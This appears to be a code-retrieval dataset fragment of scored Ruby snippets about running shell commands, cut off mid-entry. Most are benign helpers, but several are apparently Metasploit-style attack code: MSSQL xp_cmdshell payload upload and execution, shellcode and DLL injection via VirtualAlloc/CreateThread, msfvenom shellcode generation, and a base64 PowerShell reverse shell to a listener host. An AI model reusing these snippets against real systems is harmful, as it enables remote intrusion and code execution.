"d22442301ab2518b1875de3e0ed86346", "score": "0.48793828", "text": "def call_exec_posix(command, arguments, stdin, stdout, stderr)\n Puppet::Util::Execution.send(:execute_posix, command, arguments, stdin, stdout, stderr)\n end", "title": "" }, { "docid": "9b0ca006d19264f6d35c520989d2cbd9", "score": "0.48764384", "text": "def pfexec(cmd, options={}, &block)\n p_cmd = \"pfexec #{cmd}\"\n if options.has_key?(:via)\n send(options[:via], p_cmd, options, &block)\n else\n run_opts = options.dup\n run_opts.delete(:via)\n run(p_cmd, run_opts.merge(:shell => \"pfsh\"), &block)\n end\nend", "title": "" }, { "docid": "0f350bb61db8dfc09ef0471a79873364", "score": "0.4863564", "text": "def powershell_upload_exec(exe, debug=false)\n\n # hex converter\n hex = exe.unpack(\"H*\")[0]\n # create random alpha 8 character names\n #var_bypass = rand_text_alpha(8)\n var_payload = rand_text_alpha(8)\n print_status(\"Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory\")\n # our payload converter, grabs a hex file and converts it to binary for us through powershell\n h2b = \"$s = gc 'C:\\\\Windows\\\\Temp\\\\#{var_payload}';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('C:\\\\Windows\\\\Temp\\\\#{var_payload}.exe',$b)\"\n h2b_unicode=Rex::Text.to_unicode(h2b)\n # base64 encode it, this allows us to perform execution through powershell without registry changes\n h2b_encoded = Rex::Text.encode_base64(h2b_unicode)\n print_status(\"Uploading the payload #{var_payload}, please be patient...\")\n idx = 0\n cnt = 500\n while(idx < hex.length - 1)\n mssql_xpcmdshell(\"cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\\\#{var_payload}\", false)\n idx += cnt\n end\n print_status(\"Converting the payload utilizing PowerShell EncodedCommand...\")\n mssql_xpcmdshell(\"powershell -EncodedCommand #{h2b_encoded}\", debug)\n mssql_xpcmdshell(\"cmd.exe /c del %TEMP%\\\\#{var_payload}\", debug)\n print_status(\"Executing the payload...\")\n mssql_xpcmdshell(\"%TEMP%\\\\#{var_payload}.exe\", false, {:timeout => 1})\n print_status(\"Be sure to cleanup #{var_payload}.exe...\")\n end", "title": "" }, { "docid": "5c69a1694f22dba8b9d3d5608b015287", "score": "0.48629892", "text": "def smbfun_shell\n\t\tif not $smbfun\n\t\t\t$smbfun = SMBWrap.new\n\t\tend\n\t\t$smbfun.s_shell\n\tend", "title": "" }, { "docid": "39db1485f815e1d8bff9b7eb886efc56", "score": "0.48608983", "text": "def powershell_upload_exec(exe, debug=false)\n\n # hex converter\n hex = exe.unpack(\"H*\")[0]\n # create random alpha 8 character names\n #var_bypass = rand_text_alpha(8)\n var_payload = rand_text_alpha(8)\n print_status(\"Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory\")\n # our payload converter, grabs a hex file and converts it to binary for us through powershell\n h2b = \"$s = gc 'C:\\\\Windows\\\\Temp\\\\#{var_payload}';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('C:\\\\Windows\\\\Temp\\\\#{var_payload}.exe',$b)\"\n h2b_unicode=Rex::Text.to_unicode(h2b)\n # base64 encode it, this allows us to perform execution through powershell without registry changes\n h2b_encoded = Rex::Text.encode_base64(h2b_unicode)\n print_status(\"Uploading the payload #{var_payload}, please be patient...\")\n idx = 0\n cnt = 500\n while(idx < hex.length - 1)\n mssql_xpcmdshell(\"cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\\\#{var_payload}\", false)\n idx += cnt\n end\n print_status(\"Converting the payload utilizing PowerShell EncodedCommand...\")\n mssql_xpcmdshell(\"powershell -EncodedCommand #{h2b_encoded}\", debug)\n mssql_xpcmdshell(\"cmd.exe /c del %TEMP%\\\\#{var_payload}\", debug)\n print_status(\"Executing the payload...\")\n mssql_xpcmdshell(\"%TEMP%\\\\#{var_payload}.exe\", false, {:timeout => 1})\n print_status(\"Be sure to cleanup #{var_payload}.exe...\")\n end", "title": "" }, { "docid": "d8e2f2fab9c42fe8892256c15b07f06f", "score": "0.48598248", "text": "def create_temp_proc\n windir = client.sys.config.getenv('windir')\n # Select path of executable to run depending the architecture\n if sysinfo[\"Architecture\"] == ARCH_X64 && client.arch == ARCH_X86 && @payload_arch.first == ARCH_X64\n cmd = \"#{windir}\\\\Sysnative\\\\notepad.exe\"\n elsif sysinfo[\"Architecture\"] == ARCH_X64 && client.arch == ARCH_X64 && @payload_arch.first == ARCH_X86\n cmd = \"#{windir}\\\\SysWOW64\\\\notepad.exe\"\n else\n cmd = \"#{windir}\\\\System32\\\\notepad.exe\"\n end\n begin\n proc = client.sys.process.execute(cmd, nil, { 'Hidden' => true })\n rescue Rex::Post::Meterpreter::RequestError\n return nil\n end\n\n return proc\n end", "title": "" }, { "docid": "8e631fc76f52bb3a78555ecd57945ea4", "score": "0.48490587", "text": "def execute_delegate\n system_execute binary_path, to_shell\n end", "title": "" }, { "docid": "f6b95d30a3992d7737d4814da2e5e34c", "score": "0.4828538", "text": "def generate_shellcode (payload, lhost, lport)\n\tnewVar = ''\n\tformattedShellcode = ''\n\t#Build the msfvenom command from user input\n\tcommand = (\"msfvenom -p \" + payload + \" LHOST=\" + lhost +\" LPORT=\" + lport + \" -a x86 --platform windows -f c\")\n\tputs \"Now running \" + command\n\tputs \" \"\n\t#Executes the built msfvenom command and assigns output to variable newVar\n\tOpen3.popen3(command) {|stdin, stdout, stderr|\n newVar = stdout.read\n\t}\n\t#Msfvenom output is sent to format function\n\tformattedShellcode = format_shellcode(newVar)\n\t\n\treturn formattedShellcode\nend", "title": "" }, { "docid": "68885a7a835f5cdc3549d79a7365f5a1", "score": "0.48223338", "text": "def mssql_xpcmdshell(cmd, doprint=false, opts={})\n force_enable = false\n begin\n res = mssql_query(\"EXEC master..xp_cmdshell '#{cmd}'\", false, opts)\n if res[:errors] && !res[:errors].empty?\n if res[:errors].join =~ /xp_cmdshell/\n if force_enable\n print_error(\"The xp_cmdshell procedure is not available and could not be enabled\")\n raise RuntimeError, \"Failed to execute command\"\n else\n print_status(\"The server may have xp_cmdshell disabled, trying to enable it...\")\n mssql_query(mssql_xpcmdshell_enable())\n raise RuntimeError, \"xp_cmdshell disabled\"\n end\n end\n end\n\n mssql_print_reply(res) if doprint\n\n return res\n\n rescue RuntimeError => e\n if e.to_s =~ /xp_cmdshell disabled/\n force_enable = true\n retry\n end\n raise e\n end\n end", "title": "" }, { "docid": "8ecfeb668747d9df0bb58f4d63f4f982", "score": "0.4801946", "text": "def system *cmd, &block\n raise ArgumentError, \"cmd is nil\" if cmd.nil? # don't allow nothing to be passed\n opts = Map.options((Hash === cmd.last) ? cmd.pop : {}). # same arg parsing as rake\n apply({\n :silent => false,\n :output => true,\n :work_dir => FileUtils.pwd,\n :out => Albacore.application.output,\n :err => Albacore.application.output_err,\n :clr_command => false })\n\n exe, pars, printable, block = prepare_command cmd, (opts.get('clr_command')), &block\n\n # TODO: figure out how to interleave output and error streams\n out, _, inmem = opts.get(:out), opts.get(:err), StringIO.new\n\n trace { \"system( exe=#{exe}, pars=[#{pars.join(', ')}], options=#{opts.to_s}), in directory: #{opts.getopt(:work_dir, '<<current>>')} [cross_platform_cmd #system]\" }\n\n puts printable unless opts.get :silent, false # log cmd verbatim\n\n handle_not_found block do\n # create a pipe for the process to work with\n read, write = IO.pipe\n eread, ewrite = IO.pipe\n\n # this thread chews through the output\n @out_thread = Thread.new {\n while !read.eof?\n data = read.readpartial(1024)\n out.write data\n inmem.write data # to give the block at the end\n end\n }\n\n debug 'execute the new process, letting it write to the write FD (file descriptor)'\n @pid = Process.spawn(*[exe, *pars],\n { :out => write,\n #:err => ewrite,\n :chdir => opts.get(:work_dir) })\n\n debug 'waiting for process completion'\n _, status = Process.wait2 @pid\n\n ret_str = inmem.string.encode 'utf-8', invalid: :replace, undef: :replace, replace: ''\n return block.call(status.success? && ret_str, status, ret_str)\n end\n end", "title": "" }, { "docid": "c33b4166727e7b4d2b398b6557465f15", "score": "0.47955406", "text": "def run\n excode, offset = exact\n\n code = \"\\n\"\n# code << special_requirements\n code << \"require '#{file}'\\n\"\n code << \"eval(<<'_____#{handle}_____', TOPLEVEL_BINDING, '#{file}', #{offset})\\n\"\n code << excode\n code << \"\\n_____#{handle}_____\\n\\n\"\n\n cmd = ['ruby', *argv].join(' ')\n\n result = IO.popen(cmd,\"w+\") do |ruby|\n ruby.puts code\n ruby.close_write\n puts ruby.read\n end\n end", "title": "" }, { "docid": "760c9610c376d3d35fb0602e3a8db9c7", "score": "0.47899294", "text": "def start_powershell_process\n platform = RightScale::Platform\n shell = platform.shell\n\n # Import ChefNodeCmdlet.dll to allow powershell scripts to call get-ChefNode, etc.\n # Also pass in name of pipe that client needs to connect to\n lines_before_script = [\"import-module #{CHEF_NODE_CMDLET_DLL_PATH}\", \"$RS_pipeName='#{@pipe_name}'\"]\n\n # enable debug and verbose powershell output if log level allows for it.\n if Log.debug?\n lines_before_script << \"$VerbosePreference = 'Continue'\"\n lines_before_script << \"$DebugPreference = 'Continue'\"\n end\n\n # specifically disable additional error checking intended for RightScript\n # and Powershell provider in Chef. doing this to ensure that existing\n # dynamic provider scripts do not break if they have not cleared their\n # $Error list before finishing.\n lines_after_script = []\n\n command = shell.format_powershell_command4(\n ::RightScale::Platform::Shell::POWERSHELL_V1x0_EXECUTABLE_PATH,\n lines_before_script,\n lines_after_script,\n RUN_LOOP_SCRIPT_PATH)\n\n Log.debug(format_log_message(\"Starting powershell process for host #{command}\"))\n\n ::RightScale::RightPopen.popen3_async(\n command,\n :environment => nil,\n :target => self,\n :stdout_handler => :on_read_output,\n :stderr_handler => :on_read_output,\n :exit_handler => :on_exit)\n\n return true\n end", "title": "" }, { "docid": "0a199d8f147e022aeb7c9081295c1494", "score": "0.47802097", "text": "def sh_windows(s_shell_script)\n if KIBUVITS_b_DEBUG\n kibuvits_typecheck binding(), String, s_shell_script\n end # if\n s_fp_script0=Kibuvits_os_codelets.instance.generate_tmp_file_absolute_path\n s_fp_script=Kibuvits_os_codelets.instance.generate_tmp_file_absolute_path\n s_fp_stdout=Kibuvits_os_codelets.instance.generate_tmp_file_absolute_path\n s_fp_stderr=Kibuvits_os_codelets.instance.generate_tmp_file_absolute_path\n cmd=\"export PATH=\\\"/bin:/usr/bin:/sbin:/cygdrive/c/Windows:$PATH\\\"; \"+\n \"bash \"+s_fp_script+\" 1>\"+s_fp_stdout+\" 2>\"+s_fp_stderr+\" ;\"\n str2file(cmd,s_fp_script0)\n str2file(s_shell_script,s_fp_script)\n str2file($kibuvits_lc_emptystring,s_fp_stdout)\n str2file($kibuvits_lc_emptystring,s_fp_stderr)\n ht_stdstreams=Kibuvits_io.creat_empty_ht_stdstreams\n begin\n b_success=system(\"c:/cygwin/bin/bash \"+s_fp_script0)\n rescue Exception=>e\n File.delete(s_fp_script0)\n File.delete(s_fp_script)\n File.delete(s_fp_stdout)\n File.delete(s_fp_stderr)\n kibuvits_throw e.message.to_s\n end # try-catch\n s_stdout=Kibuvits_str.normalise_linebreaks(\n file2str(s_fp_stdout),$kibuvits_lc_linebreak)\n s_stderr=Kibuvits_str.normalise_linebreaks(\n file2str(s_fp_stderr),$kibuvits_lc_linebreak)\n File.delete(s_fp_script0)\n File.delete(s_fp_script)\n File.delete(s_fp_stdout)\n File.delete(s_fp_stderr)\n ht_stdstreams[$kibuvits_lc_s_stdout]=s_stdout\n ht_stdstreams[$kibuvits_lc_s_stderr]=s_stderr\n return ht_stdstreams\nend", "title": "" }, { "docid": "1da84e2da7776e1973c41ce2779abb1b", "score": "0.47727785", "text": "def run_injection(pid, dll_path, file_paths)\n vprint_status(\"Injecting #{datastore['DLL_PATH']} into process ID #{pid}\")\n begin\n path_struct = create_struct(file_paths)\n\n vprint_status(\"Opening process #{pid}\")\n host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)\n exploit_mem, offset = inject_dll_into_process(host_process, dll_path)\n\n vprint_status(\"Injecting struct into #{pid}\")\n struct_addr = host_process.memory.allocate(path_struct.length)\n host_process.memory.write(struct_addr, path_struct)\n\n vprint_status('Executing payload')\n thread = host_process.thread.create(exploit_mem + offset, struct_addr)\n print_good(\"Successfully injected payload in to process: #{pid}\")\n client.railgun.kernel32.WaitForSingleObject(thread.handle, 14000)\n rescue Rex::Post::Meterpreter::RequestError => e\n print_error(\"Failed to Inject Payload to #{pid}!\")\n vprint_error(e.to_s)\n end\n end", "title": "" }, { "docid": "fa2745415cb7489db64c9c616f9a2569", "score": "0.47672272", "text": "def system_call(cmd, exit_code = false)\n system_caller.execute(cmd, exit_code)\n end", "title": "" }, { "docid": "5c1c98069e0f92b601586f5dffc4ec68", "score": "0.47599974", "text": "def run\n raise Error, 'null pointer' if @pITask.nil?\n\n lpVtbl = 0.chr * 4\n table = 0.chr * 52\n\n memcpy(lpVtbl, @pITask, 4)\n memcpy(table, lpVtbl.unpack('L').first, 52)\n table = table.unpack('L*')\n\n run = Win32::API::Function.new(table[12], 'P', 'L')\n\n hr = run.call(@pITask)\n\n if hr != S_OK\n raise Error,get_last_error\n end\n end", "title": "" }, { "docid": "b4000e78526fe5747bc42f16e6281d01", "score": "0.47518727", "text": "def shell_eval(line, mode=:FORK)\n shell_attempt() do\n result = nil\n ruby = false\n line = line.strip\n if line.start_with? \"$\"\n ruby = true\n line = line.split(\"$\", 2)[1]\n elsif line.include?(\"=\")\n ruby = true\n else\n line.gsub!('\\\\') { '\\\\\\\\' }\n line.gsub!('\"') { '\\\\' + '\"' }\n # evaluate as a string, to handle interpolation\n line = \"\\\"\" + line + \"\\\"\"\n line = @workspace.evaluate(nil, line)\n end\n\n command = line.split(\" \")[0] || \"\"\n args = (line.split(\" \", 2)[1] || \"\").strip\n args = args.scan(/\\s?([^ \"]+)\\s?|\"([^\"]*)\"/).map { |x, y| x or y }\n\n ruby_command = false\n begin\n ruby_command = eval \"defined? #{command}\"\n rescue SyntaxError\n end\n\n if ruby_command.nil? && ((mode == :PIPE) || (mode == :ENDPIPE))\n begin\n ruby_command = eval \"defined? @_.#{command}\"\n rescue SyntaxError\n end\n end\n\n if ruby_command == \"expression\"\n ruby_command = false\n end\n\n if not ruby_command\n if File.executable? command\n bin = command\n else\n bin = path_find(command)\n end\n end\n\n if !ruby_command and !bin\n ruby = true\n end\n\n if command == \"cd\" && !ruby\n if args.empty?\n Dir.chdir\n else\n Dir.chdir File.expand_path(args[0])\n end\n elsif bin && !ruby\n if mode == :FORK\n @active_pid = Process.fork do\n begin\n exec command, *args\n rescue => e\n puts e.message\n end\n end\n\n Process.waitpid @active_pid, Process::WUNTRACED\n else\n status = Open4.open4(line) do |pid, stdin, stdout, stderr|\n @active_pid = pid\n if @_ != nil\n stdin.write(@_)\n end\n stdin.close()\n result = stdout.read\n end\n if mode == :ENDPIPE\n if !result.nil?\n puts(result)\n end\n end\n end\n @active_pid = nil\n else\n if !ruby\n args = args.map do |a|\n \"\\\"#{a}\\\"\"\n end.join(\", \")\n line = \"#{command} #{args}\"\n end\n\n begin\n if mode == :PIPE || mode == :ENDPIPE\n result = @workspace.evaluate(nil, \"@_.instance_eval { #{line} }\")\n else\n result = @workspace.evaluate(nil, line)\n end\n rescue Exception => e\n puts e.message\n result = nil\n end\n\n if mode == :ENDPIPE || mode == :FORK\n if !ruby\n puts result\n else\n pp result\n end\n end\n end\n @_ = result\n @workspace.evaluate(nil, \"_ = @_\")\n end\n end", "title": "" }, { "docid": "b1b160ab6c8624a9a08d92c1dd4b8759", "score": "0.47393373", "text": "def exec cmd\n puts cmd\n system cmd or die unless $fake\nend", "title": "" }, { "docid": "b57130a1b3aaed5a8ebd8b6e47568ef8", "score": "0.4718067", "text": "def load_gsharp(init_script = nil, commands = \"\")\n create_init_script(init_script,\"gsharp\")\n puts \"Mono executable: \\\"#{File.join(@mono_directory,@mono_command)}\\\"\"\n gs = File.join(@mono_lib_directory,@gsharp_command)\n puts \"GSharp executable: \\\"#{gs}\\\"\"\n system(\"\\\"#{File.join(@mono_directory,@mono_command)}\\\" \\\"#{gs}\\\" #{commands}\")\n delete_init_script(init_script, \"gsharp\") \n end", "title": "" }, { "docid": "bf252ee347988295f76f1f45b3ea021f", "score": "0.47178718", "text": "def execv(path, *args)\n FFI.errno = 0\n args.flatten!\n argv = FFI::MemoryPointer.new(:pointer, args.size + 2)\n argv[0].put_pointer(0, FFI::MemoryPointer.from_string(path.to_s))\n args.each_with_index do |arg, i|\n argv[i + 1].put_pointer(0, FFI::MemoryPointer.from_string(arg.to_s))\n end\n argv[args.size + 1].put_pointer(0, nil)\n\n Libc.execv(path, argv)\n # if this returns, an error has occured\n raise SystemCallError :execv, FFI.errno\n end", "title": "" }, { "docid": "e7a0347f35b925665b8c5dd22ae17220", "score": "0.47168666", "text": "def vmrun(cmd, o={})\n stdin, stdout, stderr = Open3.popen3(\"'#{path_to_binary}' #{cmd}\")\n unless $?.success?\n $stderr.puts \"FAILED: #{cmd}\\n code = #{$?}\"\n raise StandardError.new(\"ERROR: vmrun\") if o.delete(:raise_on_error)\n end\n stdout.readlines\n end", "title": "" }, { "docid": "8801141d7fa9fa3943a21756904e3d2e", "score": "0.47108525", "text": "def psCreate(lhost, lport)\n\tpsStr = <<-EOS\nfunction reverse_shell{Param([String]$Command,[String]$Download);Process{$client = New-Object System.Net.Sockets.TCPClient(\"LHOST\",LPORT);$stream = $client.GetStream();[byte[]]$bytes = 0..255|%{0};$sendbytes = ([text.encoding]::ASCII).GetBytes(\"Windows PowerShell running as user \" + $env:username + \" on \" + $env:computername + \"`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n\");$stream.Write($sendbytes,0,$sendbytes.Length);$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>');$stream.Write($sendbytes,0,$sendbytes.Length);while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding;$data = $EncodedText.GetString($bytes,0, $i);$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> ';$x = ($error[0] | Out-String);$error.clear();$sendback2 = $sendback2 + $x;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush();};$client.Close();};};Start-Sleep -s 1;reverse_shell\nEOS\n\tpsStrBase64 = Base64.strict_encode64(psStr.to_s.sub(\"LHOST\", lhost).sub(\"LPORT\", lport).encode(\"utf-16le\"))\n\treturn psStrBase64\nend", "title": "" }, { "docid": "0fbddf0f7eb79f708550b9c60f4c5e15", "score": "0.47107318", "text": "def powershell_upload_exec(path)\r\n\r\n\t\t# Create powershell script that will inject shell code from the selected payload\r\n\t\tmyscript =\"$code = @\\\"\r\n[DllImport(\\\"kernel32.dll\\\")]\r\npublic static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);\r\n[DllImport(\\\"kernel32.dll\\\")]\r\npublic static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);\r\n[DllImport(\\\"msvcrt.dll\\\")]\r\npublic static extern IntPtr memset(IntPtr dest, uint src, uint count);\r\n\\\"@\r\n$winFunc = Add-Type -memberDefinition $code -Name \\\"Win32\\\" -namespace Win32Functions -passthru\r\n[Byte[]]$sc =#{Rex::Text.to_hex(payload.encoded).gsub('\\\\',',0').sub(',','')}\r\n$size = 0x1000\r\nif ($sc.Length -gt 0x1000) {$size = $sc.Length}\r\n$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)\r\nfor ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)}\r\n$winFunc::CreateThread(0,0,$x,0,0,0)\"\r\n\r\n\t\t# Unicode encode powershell script\r\n\t\tmytext_uni = Rex::Text.to_unicode(myscript)\r\n\r\n\t\t# Base64 encode unicode\r\n\t\tmytext_64 = Rex::Text.encode_base64(mytext_uni)\r\n\r\n\t\t# Generate random file names\r\n\t\trand_filename = rand_text_alpha(8)\r\n\t\tvar_duplicates = rand_text_alpha(8)\r\n\r\n\t\t# Write base64 encoded powershell payload to temp file\r\n\t\t# This is written 2500 characters at a time due to xp_cmdshell ruby function limitations\r\n\t\t# Also, line number tracking was added so that duplication lines caused by nested linked\r\n\t\t# queries could be found and removed.\r\n\t\tprint_status(\"Deploying payload...\")\r\n\t\tlinenum = 0\r\n\t\tmytext_64.scan(/.{1,2500}/).each {|part|\r\n\t\t\texecute = \"select 1; EXEC master..xp_cmdshell 'powershell -C \\\"Write \\\"--#{linenum}--#{part}\\\" >> %TEMP%\\\\#{rand_filename}\\\"'\"\r\n\t\t\tsql = query_builder(path,\"\",0,execute)\r\n\t\t\tresult = mssql_query(sql, false) if mssql_login_datastore\r\n\t\t\tlinenum = linenum+1\r\n\t\t}\r\n\r\n\t\t# Remove duplicate lines from temp file and write to new file\r\n\t\texecute = \"select 1;exec master..xp_cmdshell 'powershell -C \\\"gc %TEMP%\\\\#{rand_filename}| get-unique > %TEMP%\\\\#{var_duplicates}\\\"'\"\r\n\t\tsql = query_builder(path,\"\",0,execute)\r\n\t\tresult = mssql_query(sql, false) if mssql_login_datastore\r\n\r\n\t\t# Remove tracking tags from lines\r\n\t\texecute = \"select 1;exec master..xp_cmdshell 'powershell -C \\\"gc %TEMP%\\\\#{var_duplicates} | Foreach-Object {$_ -replace \\\\\\\"--.*--\\\\\\\",\\\\\\\"\\\\\\\"} | Set-Content %TEMP%\\\\#{rand_filename}\\\"'\"\r\n\t\tsql = query_builder(path,\"\",0,execute)\r\n\t\tresult = mssql_query(sql, false) if mssql_login_datastore\r\n\r\n\t\t# Used base64 encoded powershell command so that we could use -noexit and avoid parsing errors\r\n\t\t# If running on 64bit system, 32bit powershell called from syswow64\r\n\t\tpowershell_cmd = \"$temppath=(gci env:temp).value;$dacode=(gc $temppath\\\\#{rand_filename}) -join '';if((gci env:processor_identifier).value -like\\\r\n\t\t'*64*'){$psbits=\\\"#{datastore['POWERSHELL_PATH']} -noexit -noprofile -encodedCommand $dacode\\\"} else {$psbits=\\\"powershell.exe\\\r\n\t\t-noexit -noprofile -encodedCommand $dacode\\\"};iex $psbits\"\r\n\t\tpowershell_uni = Rex::Text.to_unicode(powershell_cmd)\r\n\t\tpowershell_64 = Rex::Text.encode_base64(powershell_uni)\r\n\r\n\t\t# Setup query\r\n\t\texecute = \"select 1; EXEC master..xp_cmdshell 'powershell -EncodedCommand #{powershell_64}'\"\r\n\t\tsql = query_builder(path,\"\",0,execute)\r\n\r\n\t\t# Execute the playload\r\n\t\tprint_status(\"Executing payload...\")\r\n\t\tresult = mssql_query(sql, false) if mssql_login_datastore\r\n\t\t# Remove payload data from the target server\r\n\t\texecute = \"select 1; EXEC master..xp_cmdshell 'powershell -C \\\"Remove-Item %TEMP%\\\\#{rand_filename}\\\";powershell -C \\\"Remove-Item %TEMP%\\\\#{var_duplicates}\\\"'\"\r\n\t\tsql = query_builder(path,\"\",0,execute)\r\n\t\tresult = mssql_query(sql,false)\r\n\tend", "title": "" }, { "docid": "1a2d4b0d7418285cc454c54b558b5a1b", "score": "0.47083676", "text": "def exploit_as_windows\r\n tmp_path = get_tmp_path\r\n\r\n if tmp_path.blank?\r\n fail_with(Failure::Unknown, 'Unable to get the temp path.')\r\n end\r\n\r\n @b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform))\r\n @fname = normalize_payload_fname(tmp_path,\"#{Rex::Text.rand_text_alpha(5)}.exe\")\r\n new_fname = normalize_payload_fname(tmp_path,\"#{Rex::Text.rand_text_alpha(5)}.exe\")\r\n @fname.gsub!(/Program Files/, 'PROGRA~1')\r\n new_fname.gsub!(/Program Files/, 'PROGRA~1')\r\n register_files_for_cleanup(@fname, new_fname)\r\n\r\n print_status(\"Attempting to upload #{@fname}\")\r\n inject_template(\"ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}upload.vm\")\r\n\r\n print_status(\"Attempting to copy payload to #{new_fname}\")\r\n get_dup_file_code(@fname, new_fname)\r\n\r\n print_status(\"Attempting to execute #{new_fname}\")\r\n @command = new_fname\r\n inject_template(\"ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}exec.vm\", timeout=5)\r\n end", "title": "" }, { "docid": "78ee7f403315c574e3f87d6d3715f5d4", "score": "0.4705458", "text": "def call_proc(prc)\n prc.call(\"Hello from a proc call\")\nend", "title": "" }, { "docid": "2c88e78331226b53e4b5543001992dea", "score": "0.47025225", "text": "def use_popen\n @result = \"Use IO.popen()\"\n return nil\n end", "title": "" }, { "docid": "eca403856c5e637136bf14ffad12dd13", "score": "0.4689794", "text": "def shell(cmd)\n `#{cmd}`\n end", "title": "" }, { "docid": "308d854eb81ec308bc99cdbf18afb277", "score": "0.4676247", "text": "def execv(path, *args)\n FFI.errno = 0\n args.flatten!\n argv = FFI::MemoryPointer.new(:pointer, args.size + 2)\n argv[0].put_pointer(0, FFI::MemoryPointer.from_string(path.to_s))\n args.each_with_index do |arg, i|\n argv[i + 1].put_pointer(0, FFI::MemoryPointer.from_string(arg.to_s))\n end\n argv[args.size + 1].put_pointer(0, nil)\n\n Libc.execv(path, argv)\n # if this ever returns, there's been an error\n raise SystemCallError(:execv, FFI.errno)\n end", "title": "" }, { "docid": "cde9dfd683d1abc1b03cb9a6f29195b9", "score": "0.46725422", "text": "def execute(cmd)\n cmd.unshift @fpm\n cmd.push '2>/dev/null' unless ENV['VERBOSE'] && ENV['VERBOSE'] != '0'\n return eval `#{cmd.join(' ')}`# \n end", "title": "" }, { "docid": "1d7aa746ebe84bbedb80a52305a7a4c1", "score": "0.4671157", "text": "def powershell(command)\n run(command, :powershell)\n end", "title": "" }, { "docid": "898e1845be1bfeac7793479510d744ad", "score": "0.4663482", "text": "def command_string\n lport = datastore['LPORT']\n lhost = datastore['LHOST']\n\n template_path = File.join(\n Msf::Config.data_directory,\n 'exploits',\n 'powershell',\n 'powerfun.ps1')\n\n script_in = File.read(template_path)\n script_in << \"\\npowerfun -Command reverse\"\n\n mods = ''\n\n if datastore['LOAD_MODULES']\n mods_array = datastore['LOAD_MODULES'].to_s.split(',')\n mods_array.collect(&:strip)\n print_status(\"Loading #{mods_array.count} modules into the interactive PowerShell session\")\n mods_array.each {|m| vprint_good \" #{m}\"}\n mods = \"\\\"#{mods_array.join(\"\\\",\\n\\\"\")}\\\"\"\n script_in << \" -Download true\\n\"\n end\n\n script_in.gsub!('MODULES_REPLACE', mods)\n script_in.gsub!('LPORT_REPLACE', lport.to_s)\n script_in.gsub!('LHOST_REPLACE', lhost.to_s)\n # Base64 encode the compressed file contents\n script = compress_script(script_in)\n \"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})\"\n\n end", "title": "" }, { "docid": "7e9652ebb7914d6b032e94a4eadec724", "score": "0.46600366", "text": "def pending_reboot_win\n # detect if a pending reboot is needed on windows\n # inputs: none\n # outputs: true or false based on whether a reboot is needed\n\n require 'base64'\n\n # multi-line string which is the PowerShell scriptblock to look up whether or not a pending reboot is needed\n # may want to convert this to ruby in the future\n # note all the escaped characters if attempting to edit this script block\n # \" (double quote) is \"\\ (double quote backslash)\n # \\ (backslash) is \\\\ (double backslash)\n pending_reboot_win_cmd = %{\n $ErrorActionPreference=\\\"stop\\\"\n $rebootPending = $false\n if (Get-ChildItem \\\"HKLM:\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Component Based Servicing\\\\RebootPending\\\" -EA Ignore) { $rebootPending = $true }\n if (Get-Item \\\"HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\WindowsUpdate\\\\Auto Update\\\\RebootRequired\\\" -EA Ignore) { $rebootPending = $true }\n if (Get-ItemProperty \\\"HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\" -Name PendingFileRenameOperations -EA Ignore) { $rebootPending = $true }\n try {\n $util = [wmiclass]\\\"\\\\\\\\.\\\\root\\\\ccm\\\\clientsdk:CCM_ClientUtilities\\\"\n $status = $util.DetermineIfRebootPending()\n if (($null -ne $status) -and $status.RebootPending) {\n $rebootPending = $true\n }\n }\n catch {}\n $rebootPending\n }\n\n # encode to base64 as this is the easist way to pass a readable multi-line scriptblock to PowerShell externally\n encoded_cmd = Base64.strict_encode64(pending_reboot_win_cmd.encode('utf-16le'))\n\n # execute it and capture the result. this will return true or false in a string\n pending_reboot_stdout, _stderr, _status = Open3.capture3(\"powershell -NonInteractive -EncodedCommand #{encoded_cmd}\")\n\n # return result\n if pending_reboot_stdout.split(\"\\n\").first.chomp == 'True'\n true\n else\n false\n end\nend", "title": "" }, { "docid": "d8dafc77d488e4447eef0fabc82f6380", "score": "0.4648687", "text": "def ruby_cocoa_exec stdin_str\n rubycocoa_framework = \"/System/Library/Frameworks/RubyCocoa.framework\"\n raise \"RubyCocoa Framework not found. Searched in: #{rubycocoa_framework}\" unless File.exists? rubycocoa_framework\n\n require 'tempfile'\n require 'plist4r/mixin/popen4'\n\n unless @rb_script && File.exists?(@rb_script.path)\n @rb_script = Tempfile.new 